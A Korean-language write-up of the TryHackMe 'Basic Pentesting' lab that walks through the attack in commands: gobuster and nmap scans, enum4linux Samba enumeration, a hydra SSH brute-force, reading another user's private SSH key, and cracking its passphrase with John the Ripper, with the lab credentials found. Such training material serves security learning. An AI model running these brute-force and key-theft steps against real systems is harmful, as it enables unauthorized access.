TryHackMe | Basic Pentesting - 모의해킹

Web App Testing and Privilege Escalation

 

 

brute forcing , hash cracking , service enumeration , Linux Enumeration

오늘 이 ctf 문제를 통해 요런걸 배울수 있다는걸 알려주는거 같다

 

gobuster dir -u [ip] -w [wordlist]

 

gobuster 를 통해 /development 라는 경로를 찾아냈다.

 

/development 경로로 진입해보자.

 

 

잠시 nmap 을 때려보자

nmap -sV -sC -sT -Pn [ip]

 

nmap -sV -sC -sT -Pn 10.10.198.27              
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-31 14:31 KST
Nmap scan report for 10.10.198.27
Host is up (0.27s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2024-08-31T01:32:21-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s
| smb2-time: 
|   date: 2024-08-31T05:32:22
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.52 seconds

22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)

80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))

8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)

|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)

 

 

 

여기서 스캔중 특별한건 samba 채널을 운영중인 것이다

 

enum4linux 라는 samba 전용 스캔 툴로 스캔을 해보자

 

 

 

 

enum4linux -a [ip]

 

username 이 jan 이라는걸 알아냈다

 

이번 문제는 비밀번호를 알아내는 것인데

 

HYDRA 라는 무차별 대입공격을 지원하는 해킹 툴을 사용해볼것이다.

 

 

 

좀 시간이 걸린다

 

hydra -l jan -P [wordlist] -t ssh://[ip]

 

아이디 : jan 비밀번호 : armando 라는것을 알아냈다

 

 

ssh jan@[ip]

password : armando

 

 

 

 

cd .ssh
ls
cat id_rsa

 

 

 

존더리퍼 크랙 툴로 암호를 크랙해준다

john --wordlist=/usr/share/wordlists/rockyou.txt jonhash.txt

 

비밀번호 : beeswax

 

 

마지막 비밀번호

heresareallystrongpasswordthatfollowsthepasswordpolicy$$